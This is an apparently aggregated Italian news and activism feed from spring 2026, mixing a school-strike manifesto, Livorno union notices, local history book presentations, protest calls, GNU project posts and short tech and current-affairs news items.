Scioperiamo perché la scuola non deve essere ridotta a produttrice di "capitale umano" da immettere sul mercato del lavoro secondo le logiche della competitività e del profitto. Rifiutiamo la retorica delle competenze, strumento ideologico con cui si svuotano i saperi critici e si addestrano menti flessibili, adattabili, sfruttabili. Rifiutiamo ancora una volta la formazione scuola-lavoro, sfruttamento di lavoro minorile travestito da esperienza formativa, che è già costata la vita a troppi giovani.
In questo quadro si innesta la riforma degli istituti tecnici e professionali. I nuovi percorsi 4+2 e i nuovi quadri orari piegano i programmi alle esigenze produttive dei territori, erodono la formazione generale e critica, e avviano gli studenti delle classi popolari – quelli che storicamente frequentano i tecnici e i professionali – a diventare manodopera qualificata su misura per il distretto industriale di turno. Non è orientamento, è selezione di classe. Non è innovazione didattica, è privatizzazione strisciante del sapere.
Le nuove Indicazioni per i Licei: l'altra faccia dello stesso progetto classista.
Mentre i tecnici e i professionali vengono consegnati alle imprese, il 22 aprile il ministero ha pubblicato il testo delle nuove Indicazioni Nazionali per i Licei: l'altra metà del disegno. Non un'operazione separata, ma il complemento ideologico della stessa controriforma. Ai figli delle classi popolari avviati nei "licei agrari", "chimici" o "tessili" – la trovata semantica con cui Valditara annuncia di voler smantellare la distinzione formale tra licei e tecnici – si vuole consegnare la formazione professionalizzante; ai licei tradizionali, frequentati in gran parte dalla borghesia e dai ceti medi, si destina invece la costruzione di una "coscienza" identitaria dichiaratamente eurocentrica e nazionalista.
La centralità della storia dell'Italia e dell'Occidente, la soppressione della geostoria, la ridefinizione dell'inclusione come "architrave della cultura occidentale moderna": non sono scelte didattiche neutre, ma una precisa operazione politica. Si riscrive il canone in chiave identitaria, si restringe lo sguardo storico proprio mentre si chiede ai nostri ragazzi di diventare carne da cannone in guerre globali, si svuotano gli strumenti critici per leggere il presente – il colonialismo, le migrazioni, il genocidio in corso – riducendoli a marginalità rispetto a un nucleo "euro-occidentale" presentato come depositario universale di diritti e civiltà. È la stessa narrazione bellicista che giustifica l'aumento delle spese militari e la riduzione del welfare, trasferita dentro i programmi scolastici. L'irruzione dell'intelligenza artificiale "in attuazione della Legge 132/2025 e dell'AI Act", senza alcuna formazione strutturata per il personale e senza investimenti reali, completa il quadro: parole d'ordine modernizzanti su un impianto culturalmente regressivo.
E come già accaduto per le Indicazioni del primo ciclo, la "consultazione" è una farsa: il questionario predisposto dal ministero non prevede neanche l'opzione del parere negativo. La fase di ascolto è una messa in scena, come lo è la riforma stessa.
Tecnici e licei, dunque, non sono due capitoli distinti: sono il dritto e il rovescio dello stesso progetto. Una scuola che separa, che gerarchizza, che addestra i figli del lavoro al lavoro precario e i figli delle élite a una "missione di civiltà" funzionale alla retorica di guerra. Va respinta tutta intera.
Inclusione, salari, contratto
Scioperiamo per la scuola che include e non separa, capace di rispondere ai tagli agli organici di sostegno e ai servizi per gli alunni con disabilità previsti dal decreto legislativo 62/2024 – scelte di cinica contabilità fatte sulla pelle di studenti, famiglie e lavoratori, mentre i soldi pubblici vengono trasferiti all'industria militare. Rivendichiamo la stabilizzazione dei precari, l'internalizzazione degli educatori delle cooperative sociali, salari adeguati all'inflazione, un contratto degno.
Contro la leva, contro la guerra!
Davanti al rischio di escalation della guerra in Iran e alle sue ricadute globali, mentre il genocidio del popolo palestinese continua nel silenzio complice dei governi occidentali e delle complicità con lo Stato di Israele, dobbiamo riconnettere scuola e società reale. La scuola rischia di essere risucchiata nella spirale folle innescata dagli USA di Trump, con il silenzio-assenso degli altri governi occidentali, e di essere ridotta a funzione del processo di militarizzazione.
In molti paesi europei si è già reintrodotta o ci si avvia a reintrodurre la leva militare obbligatoria. Anche contro la leva dobbiamo scioperare: gli studenti non sono carne da cannone, non sono forza lavoro disponibile, non sono risorse umane da ottimizzare per l'economia di guerra. Il progetto di reintroduzione della coscrizione non è separabile dall'escalation bellica, dall'aumento delle spese per gli armamenti a scapito del welfare, dalla narrazione che vuole trasformare le nostre scuole in anticamere delle caserme.
Non a caso il 7 maggio sarà anche il giorno dello sciopero dei lavoratori portuali di USB contro la privatizzazione e la militarizzazione dei porti: una convergenza che riconnette i protagonisti delle mobilitazioni dello scorso autunno e dà forza a un progetto alternativo.
Il 7 maggio si sciopera. Studenti e lavoratori uniti, contro la guerra, contro la leva, contro la scuola classista di Valditara – tecnici e licei. Per una nuova scuola pubblica, statale, democratica e antifascista.

Presentazione del volume: “Li tiranni di quella fazione. La fine della rivoluzione e la rifondazione dell’ordine nella Livorno del 1849” di Giacomo Zanasi

6 Maggio 2026 ore 09:57

Presentazione del volume: "Li tiranni di quella fazione. La fine della rivoluzione e la rifondazione dell'ordine nella Livorno del 1849" di Giacomo Zanasi

Martedì 12 maggio 2026, ore 17.00

Edificio dell’Orologio, Piazza Luigi Orlando – Livorno- Nuova sede di ISTORECO

Livorno, maggio 1849. Le truppe austro-estensi entrano in città dopo due giorni di assedio, mettendo fine a una resistenza tenace e simbolica. Per i vincitori, comincia allora la parte più difficile: ricostruire un ordine politico che la rivoluzione ha frantumato nel profondo.

È questo il territorio inesplorato al cuore del libro di Giacomo Zanasi, un lavoro documentato e originale che sceglie di andare controcorrente: anziché raccontare la rivoluzione, ne segue il soffocamento. Anziché dare voce ai rivoltosi sulle barricate, assume il punto di vista di chi doveva riportare l’ordine – funzionari, autorità, occupanti – e si trova a fare i conti con una città che non dimentica e non perdona.

Tra processi politici, arresti di massa, esuli in fuga verso la Corsica e una prima amnistia a novembre, «Li tiranni di quella fazione» ricostruisce come Livorno – la città più radicale del Granducato, la più politicizzata, la più refrattaria allo status quo – sia diventata un laboratorio della seconda Restaurazione. E come il lungo Quarantotto abbia lasciato un segno indelebile nella vita di una comunità intera, dividendola lungo linee di frattura che non si sarebbero più del tutto richiuse.

Interverranno:

Catia Sonetti, Direttrice ISTORECO Livorno (introduce e coordina)

Marco Manfredi, Università di Pisa

Giacomo Zanasi, Università di Salerno

La pubblicazione è stata realizzata grazie al contributo della Direzione Generale Educazione, Ricerca e Istituti Culturali del Ministero della Cultura.

Presentazione del volume “1944: L’anno prima della fine della guerra” a cura di Gianluca Fulvetti, Francesco Fusi, Isabella Insolvibile, Matteo Pretelli

6 Maggio 2026 ore 09:39

Presentazione del volume "1944: L'anno prima della fine della guerra" a cura di Gianluca Fulvetti, Francesco Fusi, Isabella Insolvibile, Matteo Pretelli

Lunedì 11 maggio 2026, ore 17.00 Edificio dell’Orologio – Piazza Luigi Orlando, Livorno- Nuova sede di ISTORECO

Roma fu liberata il 4 giugno. Lo sbarco in Normandia due giorni dopo. L’estate del 1944 sembrava annunciare la fine imminente della guerra. Poi, invece, arrivarono i mesi di stallo.

L’offensiva alleata si arenò ai piedi della Linea Gotica. I partigiani dovettero abbandonare le montagne. Il proclama Alexander ordinò, di fatto, la sospensione della lotta armata. Per chi combatteva, per chi si nascondeva, per chi sperava soltanto di sopravvivere, il 1944 fu un anno che sembrò non finire mai.

Eppure questo anno cruciale è rimasto a lungo in ombra nella nostra memoria collettiva, schiacciato tra il trauma dell’armistizio del 1943 e i fuochi della Liberazione del 1945. Il libro 1944: L’anno prima della fine della guerra lo riporta al centro della scena, con gli occhi e le voci di una nuova generazione di storici.

Sedici saggi che riassumono tre prospettive: gli Alleati, con la loro babele di lingue, culture e pratiche; gli occupanti e i resistenti, con le loro paure e le speranze di un mondo in bilico; la transizione verso il dopoguerra, con le memorie e i tentativi – spesso falliti — di fare i conti con il passato.

Un libro che non si accontenta di raccontare battaglie e date, ma tenta di restituire i timori e le emozioni sul futuro, dell’Italia e di chi quella guerra la stava vivendo sulla propria pelle.

Ne discuteranno con due dei curatori Gianluca Fulvetti (Università di Pisa) e Francesco Fusi (ISRT), Federico Creatini (Università della Calabria) e Nicoletta Arena (Università di Firenze). Coordina Giovanni Brunetti (ISTORECO).

Laika, forse – Spettri domestici

Vi invitiamo alla presentazione di due libri di Massimo Filippi:   Laika, forse Docu-romanzo che ricostruisce il breve passaggio su questo pianeta della cagnetta Laika. Il libro si snoda in quattro movimenti: la vita di una piccola randagia tra le … Continua a leggere

LAVORATRICE VITTIMA DI VIOLENZA PENALIZZATA SUL LAVORO: TRA PRECARIETÀ E DISCRIMINAZIONE INDIRETTA.

5 Maggio 2026 ore 15:04

USB, nell’ambito delle attività dello sportello dedicato alla prevenzione e al contrasto delle discriminazioni di genere nei luoghi di lavoro, intende portare all’attenzione pubblica e delle istituzioni competenti una vicenda che presenta rilevanti profili di possibile discriminazione indiretta legata al genere e vittimizzazione secondaria.


La situazione riguarda una lavoratrice impiegata in somministrazione con contratto a tempo determinato, recentemente giunto a scadenza senza rinnovo. Nel corso del rapporto di lavoro, la lavoratrice ha vissuto una condizione di particolare vulnerabilità in quanto vittima di violenza domestica, circostanza che ha inciso profondamente sulla sua condizione personale e lavorativa. Tale contesto era stato rappresentato all’Azienda utilizzatrice, Bertani Trasporti S.p.A., sia attraverso i responsabili di sito sia mediante interlocuzioni con le risorse umane, evidenziando come le assenze maturate fossero strettamente connesse agli effetti fisici e psicologici della violenza subita e alla necessità di adempiere a inderogabili impegni di natura legale.
Prima della scadenza contrattuale, USB e RETE ISIDE, attraverso lo Sportello contro le molestie, discriminazioni e violenza di genere nei luoghi di lavoro hanno formalmente segnalato a Bertani Trasporti la possibile sussistenza di un profilo discriminatorio connesso alla condizione della lavoratrice. Nonostante ciò, il rapporto di lavoro non è stato rinnovato. Nel riscontro fornito, l’Azienda ha ricondotto la decisione all’applicazione di criteri ritenuti oggettivi e uniformi, tra i quali la continuità della prestazione lavorativa.


Riteniamo che questo non sia assolutamente sufficiente ad escludere possibili profili di criticità. L’applicazione di un criterio apparentemente neutro come quello della continuità della prestazione, in assenza di una valutazione sostanziale delle cause delle assenze, rischia infatti di produrre un effetto sproporzionatamente sfavorevole nei confronti di una lavoratrice la cui condizione è direttamente riconducibile a una situazione di violenza di genere già portata all’attenzione aziendale. In questo senso, la vicenda si presta a essere letta alla luce della nozione di discriminazione indiretta, oltre che sotto il profilo della possibile vittimizzazione secondaria, laddove una decisione organizzativa finisca per aggravare le conseguenze di una condizione di vulnerabilità già esistente.


A ciò si aggiunge il fatto che la lavoratrice è inserita in un nucleo monogenitoriale e sostiene in via esclusiva i carichi di cura familiare. Tale circostanza, che avrebbe richiesto una valutazione attenta e sostanziale nell’ambito delle decisioni organizzative e contrattuali, non risulta essere stata adeguatamente considerata. Anche sotto questo profilo, l’applicazione rigida di criteri formali rischia di tradursi in un trattamento penalizzante, in contrasto con i principi di tutela della genitorialità e di conciliazione tra vita lavorativa e familiare sanciti dall’ordinamento.


Riteniamo fondamentale una concreta attenzione alle condizioni reali delle lavoratrici, in particolare di quelle che subiscono violenza, sia nei contesti domestici sia nei luoghi di lavoro, che non può limitarsi a un approccio formale, ma deve necessariamente passare attraverso il riconoscimento della complessità delle situazioni individuali, delle condizioni materiali di vita e delle dinamiche strutturali che incidono sulle possibilità di autodeterminazione.
Il fatto si inserisce, non a caso, in un contesto caratterizzato da precarietà e subalternità. Si tratta di una lavoratrice in somministrazione, dunque appartenente a una delle categorie meno tutelate e maggiormente esposte a forme di ricattabilità e sfruttamento. Il settore in cui è impiegata, quello della logistica, è storicamente costruito su un sistema di appalti e subappalti che tende a frammentare i rapporti di lavoro e a scaricare i costi sulla forza lavoro, alimentando condizioni di instabilità occupazionale, bassi salari e organizzazioni del lavoro spesso incompatibili con i tempi di vita.


Questo modello produttivo, fondato sul contenimento dei costi e sull’esternalizzazione, si traduce sistematicamente nell’abbassamento delle tutele e nella compressione dei diritti, incidendo in maniera particolarmente significativa sulle lavoratrici, soprattutto quando già esposte a condizioni di vulnerabilità. In tale contesto, il rischio di discriminazioni, anche indirette, si amplifica e si intreccia con dinamiche strutturali di disuguaglianza.


Per queste ragioni, USB ha ritenuto doveroso trasmettere formale segnalazione alle istituzioni competenti, in primis la Consigliera di Parità provinciale, la Vicesindaca con delega alle Pari Opportunità, ma anche il Sindaco e il Prefetto, attori che hanno recentemente sottoscritto il Manifesto per il lavoro buono, impegnandosi a promuovere un modello di lavoro inclusivo e attento alla tutela della dignità delle persone.


La vicenda descritta appare infatti difficilmente conciliabile con i principi affermati sia dalla normativa nazionale e sovranazionale in materia di pari opportunità e contrasto alla discriminazione, sia con gli impegni pubblicamente assunti attraverso la sottoscrizione del Manifesto. Proprio per questo è importante che sia posta all’attenzione delle istituzioni pubbliche e dell’opinione pubblica , affinché vengano approfonditi tutti gli elementi rilevanti e, ove ne ricorrano i presupposti, adottate le iniziative più idonee a garantire una piena tutela dei diritti della lavoratrice e a prevenire il ripetersi di situazioni analoghe, sia all’interno di Bertani Trasporti S.p.A. sia, più in generale, nelle aziende operanti nel settore della logistica e negli altri contesti produttivi.


USB - Sportello contro le molestie, le discriminazioni e la violenza d genere nei luoghi di lavoro

Midland 8001 Pro in auto - Test reale con antenna magnetica! Vale ancora la pena?

5 Maggio 2026 ore 12:30

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Ciao ragazzi, ho testato il Midland 8001 Pro in auto utilizzando un’antenna a base magnetica per capire come si comporta davvero su strada. @MidlandWorld
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Per l’immediata liberazione di Thiago e Saif, contro guerra e riarmo, per la sicurezza sul lavoro, i salari: settimana di mobilitazione a Livorno e in Toscana.

4 Maggio 2026 ore 10:34

Lunedì 4 Maggio le realtà cittadine che compongono la rete di solidarietà per la Palestina, hanno lanciato un presidio davanti al consolato onorario della Grecia in via Fagiuoli 1. Successivamente ci sposteremo davanti all Prefettura.
Chiediamo un intervento deciso del Governo Italiano a tutela degli attivisti e attiviste della Global Sumud Flotilla. Chiediamo l'immediata liberazione di Thiago e Saif, dopo il rapimento illegale da parte di Israele.
Tra i partecipanti alla missione ci sono anche 4 attivisti livornesi.

Ex Caserma Occupata, gruppo autonomo portuali, USB, collettivo studentesco Scuola di Carta, Potere al Popolo, Teatro Refugio, Associazione Livorno Palestina, Coordinamento Antimilitarista saranno in piazza e invitano la città di Livorno a mobilitarsi per l'interruzione dei rapporti con Israele. Sanzioni e embargo immediato. Per la liberazione di tutti i prigionieri.

Martedì 5 maggio è previsto lo sciopero regionale dei lavoratori RFI. Con manifestazione, dalle ore 10, davanti alla Prefettura di Firenze.

Sciopero proclamato per l'intera prestazione.
Per la sicurezza sul lavoro e contro l'utilizzo bellico della rete ferroviaria.

Giovedì 7 Maggio. Sciopero nazionale dei Portuali. Per il riconoscimento del lavoro usurante ai fini pensionistici e contro l'utilizzo delle risorse pubbliche per i piani di riarmo. Contro l'aumento dei prezzi e inflazione alle stelle, servono meccanismi automatici di tutela dei salari e delle pensioni. Basta destinare miliardi di euro in armi invece che nei servizi pubblici.
Una delegazione di portuali Livornesi parteciperà alla Manifestazione davanti al Ministero del Lavoro a Roma.

Il 7 Maggio è previsto anche lo sciopero nazionale della scuola. Studenti e lavoratori scenderanno in piazza contro la reintroduzione della leva militare e per opporsi alla riforma classista degli istituti tecnici

A Livorno il collettivo studentesco Scuola di Carta ha lanciato una manifestazione. Dalle ore 9 in Piazza Cavour. USB sarà presente!

Invitiamo gli iscritti e le iscritte, i lavoratori e le lavoratrici a mobilitarsi, scioperare e scendere in piazza.

Prepariamoci per la manifestazione nazionale a Roma del 23 maggio.

www @ Savannah: Malware in Proprietary Software - Latest Additions

1 Maggio 2026 ore 20:08

The initial injustice of proprietary software often leads to further injustices: malicious functionalities.

The introduction of unjust techniques in nonfree software, such as back doors, DRM, tethering, and others, has become ever more frequent. Nowadays, it is standard practice.

We at the GNU Project show examples of malware that has been introduced in a wide variety of products and dis-services people use everyday, and of companies that make use of these techniques.

Here are our latest additions

April 2026

Proprietary Obsolescence


Malware in Appliances

health @ Savannah: GNU Health featured at the Cyber|Show UK

1 Maggio 2026 ore 11:41

GNU Health at the Cyber|Show!
Grab a coffee and listen to the 40 min. interview Andy Farnell and Helen Plews made to Luis Falcón in their wonderful show. ❤️

They covered key aspects on citizen and patient data privacy, hospital management, federated health networks, genomics and wearables. In the interview they also talked about the risks associated to commercial, closed sourced electronic health records systems and proprietary mobile applications.

The interview reveals how crucial is Free/Libre software for equity and digital sovereignty in our societies. 🩺 🏥 🧬 👇️
https://cybershow ... pisodes.php?id=64

About Cyber|Show:
https://cybers ... w.uk/about.php

Get this and latest news about GNU Health from our official Mastodon account:
https://mastodon. ... social/@gnuhealth

Tags: #GNUHealth #GNU #OpenScience #PublicHealth #Privacy #FreeSoftware #SocialMedicine #CyberShow

"The Last Dance", l'ultimo click della redazione di Tiscali Notizie. I nostri saluti

29 Aprile 2026 ore 23:03
Ventisei anni non sono solo un numero. Sono milioni di letture, migliaia di articoli, notti davanti a uno schermo mentre il resto del Paese dormiva, mattine in cui le notizie arrivavano prima ancora del primo caffè. Sono una redazione nata quando Internet in Italia era ancora una frontiera e fare...

Primo Maggio anarchico a Piombino e a Carrara

29 Aprile 2026 ore 19:58
Il Primo Maggio saremo presenti a Piombino e a Carrara. Per un mondo libero dalle guerre, dallo sfruttamento e dall’oppressione. Per la Rivoluzione Sociale, per l’Anarchia!

Telefonate trappola, cambia tutto: arriva il filtro a 3 cifre contro le truffe. Il nuovo sistema che ti fa capire subito chi ti chiama

29 Aprile 2026 ore 12:34
Basta numeri mascherati, basta chiamate fantasma. La stretta contro il telemarketing selvaggio entra nel vivo: l’Agcom introduce un sistema che punta a rivoluzionare il modo in cui riconosciamo chi ci chiama. La chiave è semplice ma potente: numeri brevi a tre cifre, pensati per rendere...

Cosa non torna nei documenti che hanno portato alla concessione della grazia a Nicole Minetti

29 Aprile 2026 ore 09:21
La grazia di cui ha beneficiato Nicole Minetti è immediatamente esecutiva, ragion per cui la ex igienista dentale ha potuto trasferirsi in Uruguay, dove risiede nel ranch del suo compagno Giuseppe Cipriani. Il polverone sollevato dallo scoop del Fatto quotidiano, che ha scoperto non poche magagne...

Decreto lavoro: salario giusto, bonus assunzioni, rider. Cosa cambia davvero per stipendi e contratti

29 Aprile 2026 ore 11:45
Primo maggio alle porte, e il governo gioca d’anticipo: arriva il decreto lavoro con il sigillo del Consiglio dei ministri. Dentro c’è una parola chiave che prova a cambiare il lessico del dibattito: non più salario minimo, ma “salario giusto”. Un’etichetta che pesa, perché sposta il...

Presentazione del volume “La Resistenza non ha congedo” di Michelangelo Borri

29 Aprile 2026 ore 09:53

Presentazione del volume "La Resistenza non ha congedo" di Michelangelo Borri

In occasione dell’anniversario della Giorno della memoria dedicato alle vittime del terrorismo presentiamo un libro che ricostruisce, per la prima volta in modo sistematico, la storia delle Commissioni d’inchiesta istituite tra il 1973 e il 1975 dalle regione per far luce sul fenomeno neofascista e sulla violenza politica degli anni della strategia della tensione. Un’iniziativa senza precedenti nella storia della Repubblica in quanto si trattava di un laboratorio democratico in cui istituzioni, sindacati, università e società civile si unirono per censire e contrastare l’eversione nera, proprio nel momento in cui il paese era attraversato dalle stragi – da piazza Fontana a piazza della Loggia – e da una conflittualità diffusa e lacerante.

Attraverso fonti archivistiche inedite, l’autore ricostruisce il ruolo cruciale che le Regioni – istituzioni nate solo nel 1970 – seppero svolgere nel rafforzamento della democrazia repubblicana, trasformando le commemorazioni per il trentennale della Liberazione in un atto politico di antifascismo militante e propositivo.

 

Introduzione di Catia Sonetti (Direttrice ISTORECO). Dialogheranno con l’autore Federico Creatini (Università della Calabria) e Giovanni Brunetti (ISTORECO).

L'Australia vuole tassare del 2,25% i big della tecnologia per le notizie

28 Aprile 2026 ore 17:26
(ANSA) - SYDNEY, 29 APR - Dopo le restrizioni sui social media per gli adolescenti, nuova mossa dell'Australia nei confronti dei big della tecnologia ma sul fronte editoria. Con la proposta 'News Bargaining Incentive' il governo mira a tassare Meta, Google e TikTok del 2,25% del loro fatturato...

Trapelano le informazioni su 'Jinju' i primi occhiali smart di Samsung

28 Aprile 2026 ore 13:34
(ANSA) - MILANO, 28 APR - Samsung starebbe lavorando al lancio dei suoi primi occhiali intelligenti, identificati internamente con il nome in codice "Jinju". Secondo le foto ottenute da siti specializzati, il dispositivo non avrà un display integrato e sarà un diretto concorrente dei Meta...

Torna Kindle Storyteller, il premio letterario per autori indipendenti

28 Aprile 2026 ore 13:22
(ANSA) - ROMA, 28 APR - Dopo il successo dell'edizione 2025 che ha visto la candidatura di oltre 4.000 titoli, torna in Italia Amazon Kindle Storyteller il premio letterario che celebra il meglio del self publishing, sostenendo sia gli aspiranti scrittori che quelli già affermati, ed è alla sua...

OpenAI al lavoro sul suo primo smartphone, potrebbe arrivare nel 2028

28 Aprile 2026 ore 13:04
(ANSA) - MILANO, 28 APR - OpenAI starebbe sviluppando uno smartphone da lanciare nel 2028. Le indiscrezioni arrivano dall'analista Ming-Chi Kuo, già in passato precursore delle notizie su nuovi dispositivi di Apple e altri big tech, e parlano di un accordo della startup di intelligenza...

Superbonus, l’effetto boomerang: più tasse su IMU e Tari. Cosa controllerà il Fisco e cosa sapere per essere in regola

28 Aprile 2026 ore 12:28
Il Superbonus torna al centro dello scontro politico e dei conti pubblici. A riaccendere il dibattito è il mancato rientro dell’Italia sotto la soglia del 3% deficit/Pil, con il governo che punta il dito contro l’eredità della misura. La presidente del Consiglio Giorgia Meloni non usa mezzi...

Quattro italiani su dieci hanno fatto un 'social detox' almeno una volta

28 Aprile 2026 ore 12:22
(ANSA) - ROMA, 28 APR - Quasi quattro italiani su dieci (il 38,1%) ha sentito l'esigenza di fare un 'social detox', prendendosi una pausa dai social network limitandone il tempo di utilizzo, disattivando o eliminando l'account, o disinstallando l'app (anche se solo il 15,3% lo fa regolarmente). Si...

Ricina, duplice avvelenamento, spunta la pista delle flebo: svolta nel caso? Sequestrato il telefono di Alice

28 Aprile 2026 ore 10:32
Il tempo delle ipotesi si assottiglia. E a Campobasso, davanti al giallo di Pietracatella, resta sospesa una frase che pesa come un macigno: «Speriamo a breve di stringere il cerchio». È il segnale più chiaro che l’inchiesta sul duplice avvelenamento da ricina – costato la vita ad Antonella...

Crans Montana, la verità nei video: "Jessica Moretti fugge e spinge i ragazzi. Ha acceso lei tutte le candele"

28 Aprile 2026 ore 10:27
Per oltre cento giorni sono rimasti chiusi in un cassetto investigativo, come tessere di un puzzle troppo doloroso da ricomporre. Ora quei filmati delle 14 telecamere di sorveglianza del locale Le Constellation, mostrati a Sion agli avvocati delle famiglie, iniziano a parlare. E lo fanno con una...

Telemarketing, stretta storica. Luce e gas, rivoluzione in arrivo: cosa non potranno più fare le compagnie

28 Aprile 2026 ore 10:05
Il telemarketing selvaggio ha i giorni contati. Dal 19 giugno scatta una stretta che cambia le regole del gioco per luce e gas: meno telefonate indesiderate, più tutele per i consumatori. E soprattutto, contratti a rischio nullità. A ridisegnare il perimetro è il nuovo decreto bollette del...

Caro carburante e biglietti low costi, bagagli, posti, modifiche: ecco come il costo finale può triplicare

28 Aprile 2026 ore 10:01
Il conto arriva sempre alla fine. E quest’estate rischia di essere più salato del previsto. Tra caro carburante, tensioni sull’approvvigionamento di jet fuel e strategie delle compagnie, il prezzo dei voli potrebbe lievitare non tanto sul biglietto base, quanto su tutto ciò che ci gira...

Lettera aperta dipendenti Google al Ceo, governo non usi l'IA per scopi militari

28 Aprile 2026 ore 08:33
(ANSA) - ROMA, 28 APR - Piu' di 560 dipendenti di Google hanno firmato una lettera aperta per l'amministratore delegato Sundar Pichai esortandolo a rifiutarsi di consentire al governo americano di utilizzare la propria tecnologia di intelligenza artificiale per operazioni militari classificate....

Sardegna, il segreto che l’Italia non ha ancora capito: qui il tempo si ferma davvero. Ichnusa lancia la birra che sfida la fretta: cosa c’è dietro il Metodo Lento

27 Aprile 2026 ore 23:37
In Italia si corre. Sempre. Ma c’è un’isola dove il tempo non scappa: si lascia prendere. È la Sardegna, laboratorio silenzioso di un equilibrio che il resto del Paese insegue. Non è solo una sensazione: lo certificano i numeri dell’indagine “Gli italiani e il tempo ritrovato”...

Dall'Ue nuove misure per Google, IA concorrenti operino su Android

27 Aprile 2026 ore 18:34
(ANSA) - BRUXELLES, 27 APR - La Commissione Europea ha inviato a Google le proprie conclusioni preliminari nell'ambito del procedimento di definizione delle specifiche avviato il 27 gennaio 2026 ai sensi della legge sui mercati digitali (Dma). Nelle conclusioni si delineano le misure che Google...

Microsoft e OpenAI rivedono la partnership, tetto alla condivisione di ricavi

27 Aprile 2026 ore 17:17
(ANSA) - ROMA, 27 APR - Microsoft e OpenAI rivedono e semplificano la loro partnership, rendendo possibile per la startup la fornitura di tutti i suoi prodotti ai clienti tramite qualsiasi provider cloud. Nell'ambito della nuova intesa, i pagamenti di OpenAI a Microsoft saranno 'soggetti a un...

La Cina blocca Meta, no all'acquisizione della start up di IA Manus

27 Aprile 2026 ore 16:49
(ANSA) - ROMA, 27 APR - La Cina blocca Meta sull'intelligenza artificiale e ferma l'acquisizione di Manus, in un nuovo segnale delle tensioni tecnologiche e sull'intelligenza artificiale tra Pechino e Washington. Il veto è stato imposto dalla Commissione nazionale per lo sviluppo e la riforma...

Piaggio e Ceva: sciopero di un'ora a fine turno martedì 28 Aprile 2026

27 Aprile 2026 ore 16:25

Giovedì 23 aprile, intorno alle 10 di mattina, un operaio , precario, della Ditta Bertini, appalto Piaggio, ha subito un grave infortunio.

Come rappresentanti dei lavoratori siamo stati informati dell’accaduto dalla Piaggio soltanto alle 16, dopo che la notizia era già uscita sulla stampa.

Un fatto GRAVE, che non ha messo nelle condizioni i RLS di fare verifiche tempestive.

Di fatto un tentativo da parte delle aziende coinvolte di nascondere un infortunio avvenuto in stabilimento, come accade nelle campagne dei caporali  
Un incidente preannunciato , più volte avevamo chiesto con verbali e denunce di intervenire in quel reparto senza ricevere risposte. I sistemi di appalto e subappalto decisi dai dirigenti Piaggio, non servono per aumentare la sicurezza , ma i guadagni e lo sfruttamento dei lavoratori.

 Per queste ragioni e per rivendicare il diritto a lavorare in sicurezza in Piaggio, come nelle altre ditte in appalto, Bertini e Ceva, si proclama per martedì 28 aprile 1 ora di sciopero a fine turno.

RSU SIAL COBAS e USB PIAGGIO
RSU CEVA
RSA BERTINI

Documenti italiani sul dark web, 35 dollari per un passaporto digitale

26 Aprile 2026 ore 11:42
(ANSA) - MILANO, 26 APR - È di 35 dollari il prezzo della versione digitale di un passaporto italiano venduto sul dark web, la parte più nascosta di internet, 31 dollari quello di una carta di identità. Un valore che posiziona il nostro Paese come settimo al mondo secondo una ricerca condotta...

Liberiamoci dal fascismo!

25 Aprile 2026 ore 08:12
Liberiamoci dal fascismo! La liberazione la possiamo ottenere solo con l’azione diretta, agendo in prima persona. La vittoria dei NO al referendum non ha fermato la manovra autoritaria e guerrafondaia del governo fascista. Le opposizioni parlamentari non hanno voluto approfondire la crisi della maggioranza e hanno mantenuto un immobilismo che ha fatto sostanzialmente il gioco […]

Videogame, in Italia il mercato vale quasi 2,4 miliardi di euro

25 Aprile 2026 ore 17:32
(ANSA) - CAGLIARI, 25 APR - In Italia il mercato dei videogiochi vale quasi 2,4 miliardi di euro, con una crescita del 3% rispetto all'anno precedente. Le imprese attive nel settore dello sviluppo hanno superato quota 200 — erano 48 nel 2012 — con un fatturato tra i 180 e i 200 milioni di euro...

Instagram lancia Instants, foto senza filtri che spariscono dopo 24 ore

24 Aprile 2026 ore 15:12
(ANSA) - MILANO, 24 APR - Instagram ha lanciato in Italia e Spagna, Instants, una nuova app che permette agli utenti di pubblicare foto da visualizzare solo una volta e che scompaiono dopo 24 ore. L'applicazione, disponibile sia per iOs che Android, è legata all'account Instagram ed è simile...

Dichiarazione dei redditi, cambia tutto: chi paga meno e chi rischia di più. Attenzione agli errori: così puoi rimediare senza sanzioni

24 Aprile 2026 ore 14:05
Il fisco riapre le porte digitali. Ma il calendario non perdona: chi arriva tardi, resta fuori. Il Modello 730/2026 torna online e con lui una stagione fatta di scadenze, detrazioni e qualche nuova regola che può cambiare il saldo finale. Dal 30 aprile l’Agenzia delle Entrate metterà a...

Meta licenzia 8.000 dipendenti: la corsa frenetica all'intelligenza artificiale fa nuove vittime

24 Aprile 2026 ore 12:06
Meta ha annunciato con una comunicazione interna il licenziamento di 8.000 persone, pari a circa il 10% della sua forza lavoro, nonché l'eliminazione di 6.000 posizioni attualmente vacanti. Lo riferisce all'Afp una fonte vicina alla vicenda. In una nota interna, la responsabile delle risorse umane...

Cultura italiana in inglese, IA e transizione nei nuovi corsi di Ca' Foscari

24 Aprile 2026 ore 11:40
(ANSA) - VENEZIA, 24 APR - L'Università Ca' Foscari di Venezia introduce tre nuovi corsi di laurea per l'anno accademico 2026/2027 tra le sedi di Venezia, il Campus scientifico di Mestre (Venezia) e il polo di Treviso. Si tratta di una magistrale in Traduzione specialistica, multimediale e per...

Arriva il primo vaccino combinato Covid e influenza, ma non è per tutti: ecco chi potrà farlo

24 Aprile 2026 ore 11:01
E’ arrivato il via libera in Ue al primo vaccino combinato anti influenza e Covid. Lo ha annunciato Moderna spiegando che la Commissione europea ha concesso l'autorizzazione all'immissione in commercio di questo vaccino combinato a mRna per l'utilizzo in persone di età pari o superiore a 50...

Slitta l'obbligo di assicurazione per i monopattini, immediato scatta l’allarme rincari

24 Aprile 2026 ore 09:33
L’obblio dell’Rc auto per i monopattini è stata prorogato di 2 mesi, scatterà quindi il prossimo 16 luglio. La notizia ha suscitato molte perplessità nei consumatori e negli operatori del settore. I primi temono aumenti delle nuove polizze. Assosharing punta invece il dito sul fatto che non...

Urban Trekking. Il Novecento di Livorno tra strade e canali

24 Aprile 2026 ore 09:08

Urban Trekking. Il Novecento di Livorno tra strade e canali

 IL NOVECENTO DI LIVORNO TRA STRADE E CANALI

Tracce di memoria. Simboli di una città del Novecento
Un percorso alla scoperta della storia di Livorno attraverso i luoghi che ne hanno segnato le vicende nel Novecento: dalle lotte politiche del passato alle ricostruzioni del secondo dopoguerra.
 Data: sabato 16 maggio 2026
 Orario: 15.00 – 19.00
PROGRAMMA
• ore 15.00 – Ritrovo in Piazza della Vittoria / Monumento ai Caduti. Prime tappe del trekking a piedi.
